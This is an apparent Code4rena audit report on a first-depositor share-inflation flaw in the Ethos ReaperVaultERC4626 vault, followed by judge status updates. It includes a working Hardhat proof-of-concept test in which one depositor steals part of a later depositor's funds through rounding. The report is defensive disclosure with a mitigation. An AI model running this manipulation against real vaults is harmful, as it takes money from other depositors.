First depositor issue

[code423n4]

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultERC4626.sol#L110-L112
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultERC4626.sol#L258-L265

Vulnerability details

Impact

The first depositor inside the vault could take advantage of his positions and the round downs inside the vault logic to steal future tokens.

Proof of Concept

The vaults are in general subject to a share price manipulation attack that allows an attacker to steal underlying tokens from other depositors

Example:

1. Alice deposits 1 wei of assets, will be receive 1 share
2. Alice transfer 10e18 - 1 directly to the vault to increase it's tvl and in consequence to inflate price per share
3. Bob deposit 19e18 assets, because of the round down will also receive 1 share
4. Alice redeem it's share, because at this moment we have a tvl of 29e18 assets and only 2 shares, alice will receive for her 1 share 14.5e18 assets, scoring a profit and bob will score a loss over his deposit.

const {ethers, network, upgrades} = require('hardhat');
const {expect} = require('chai');


describe("Audit", ()=>{
    describe("ReaperVaultERC4626", async()=>{
        let aliceAccount, bobAccount, carolAccount, davidAccount, treasuryAccount;
        let alice, bob, carol, david, treasury;
        let ReaperVaultERC4626Factory, reaperVaultERC4626;
        let MockERC20Factory, mockERC20;

        beforeEach(async()=>{
            const signers = await ethers.getSigners();
            aliceAccount = signers[0]
            bobAccount = signers[1]
            carolAccount = signers[2]
            davidAccount = signers[3]
            treasuryAccount = signers[4]

            alice = aliceAccount.address
            bob = bobAccount.address
            carol = carolAccount.address
            david = davidAccount.address
            treasury = treasuryAccount.address

            let strategies = []
            let multiSigRoles = [bob, carol, david]
            let tvlCap = "1000000000000000000000000"

            MockERC20Factory = await ethers.getContractFactory("MockERC20");
            mockERC20 = await MockERC20Factory.deploy("WrappedETH", "WETH");
            ReaperVaultERC4626Factory = await ethers.getContractFactory("ReaperVaultERC4626")
            reaperVaultERC4626 = await ReaperVaultERC4626Factory.deploy(mockERC20.address, "WETHVault", "WETHV", tvlCap, treasury, strategies, multiSigRoles)
        })

        it("should test for first depositor issue ", async()=>{
            ///issue confirmed, recoomendation: add a minimal deposit amount at the beginning big enough to ensure rounding down errors will not accumulate so much
            await mockERC20.mint(alice,"10000000000000000000")
            await mockERC20.mint(bob,"20000000000000000000")

            await mockERC20.approve(reaperVaultERC4626.address, "10000000000000000000")
            await mockERC20.connect(bobAccount).approve(reaperVaultERC4626.address, "20000000000000000000")


            await reaperVaultERC4626["deposit(uint256)"]("1");
            let aliceSharesAfterFirstDeposit = await reaperVaultERC4626.balanceOf(alice)
            expect(aliceSharesAfterFirstDeposit.toNumber()).to.be.equal(1);

            await mockERC20.transfer(reaperVaultERC4626.address, "9999999999999999999")
            let vaultTVL = await mockERC20.balanceOf(reaperVaultERC4626.address)
            expect(vaultTVL.toString()).to.be.equal("10000000000000000000")

            await reaperVaultERC4626.connect(bobAccount)["deposit(uint256)"]("19000000000000000000");
            let bobSharesAfterBobFirstDeposit = await reaperVaultERC4626.balanceOf(bob)
            expect(bobSharesAfterBobFirstDeposit.toNumber()).to.be.equal(1);

            let totalShares = await reaperVaultERC4626.totalSupply();
            expect(totalShares.toNumber()).to.be.equal(2);

            await reaperVaultERC4626.redeem(1, alice, alice);
            let aliceBalanceAfter = await mockERC20.balanceOf(alice);
            expect(aliceBalanceAfter.toString()).to.be.equal("14500000000000000000")

        })}

Tools Used

Manual review, hardhat

Recommended Mitigation Steps

Take into consideration forcing the first depositor to mint a higher number of shares initially

[c4-judge]

trust1995 marked the issue as satisfactory

[c4-judge]

trust1995 changed the severity to 2 (Med Risk)

[c4-judge]

trust1995 marked the issue as duplicate of #848

[c4-judge]

trust1995 changed the severity to QA (Quality Assurance)